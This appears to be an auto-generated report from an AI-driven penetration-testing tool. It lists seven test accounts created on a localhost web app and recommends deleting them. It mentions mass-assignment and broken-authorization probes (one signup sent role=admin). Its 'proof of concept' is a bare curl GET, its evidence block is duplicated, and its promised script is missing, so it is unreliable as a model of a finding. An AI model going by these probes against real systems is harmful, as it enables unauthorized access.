https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. Potential impact: Operational cleanup: remove these accounts once testing is complete. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.

How to fix it

Delete the listed test accounts; rotate anything they touched.

Proof of concept — step by step

  1. Send the request carrying the payload:
    curl -i -s \
      'http://localhost:3000'

Technical evidence

ATTACK
  GET http://localhost:3000 → 200
  body (924 bytes, excerpt):
    7 account(s) created for authenticated testing. Credentials are in vault.json (not shown here).
    • nrsplt_a7558@example.test [customer] — created via curl GET /register for cookie then POST username/email/password
    • nrsplt_b7558@example.test [customer] — created via curl POST username/email/password
    • nrsplt_6a7d9f62@example.test [customer] — created via curl POST username/email/password (role=admin,isAdmin=true also sent to test mass-assign)
    • poc_<rand>@example.test [customer] — created via auto-registered by pocs/bola_api_v2_users.sh each run (ephemeral)
    • nrsplt_a_5932 [customer] — created via curl: GET /register for cookie, POST username/email/password form-encoded
    • nrsplt_poc_28313 [customer] — created via created by pocs/bola_users_invoice.sh (random suffix per run)
    • nrsplt_1408@example.test [customer] — created via curl GET none; POST username/email/password then POST /login

AGENT-RECORDED EVIDENCE
7 account(s) created for authenticated testing. Credentials are in vault.json (not shown here).
• nrsplt_a7558@example.test [customer] — created via curl GET /register for cookie then POST username/email/password
• nrsplt_b7558@example.test [customer] — created via curl POST username/email/password
• nrsplt_6a7d9f62@example.test [customer] — created via curl POST username/email/password (role=admin,isAdmin=true also sent to test mass-assign)
• poc_<rand>@example.test [customer] — created via auto-registered by pocs/bola_api_v2_users.sh each run (ephemeral)
• nrsplt_a_5932 [customer] — created via curl: GET /register for cookie, POST username/email/password form-encoded
• nrsplt_poc_28313 [customer] — created via created by pocs/bola_users_invoice.sh (random suffix per run)
• nrsplt_1408@example.test [customer] — created via curl GET none; POST username/email/password then POST /login

Runnable script (extra)

The steps above are the proof; this script automates them.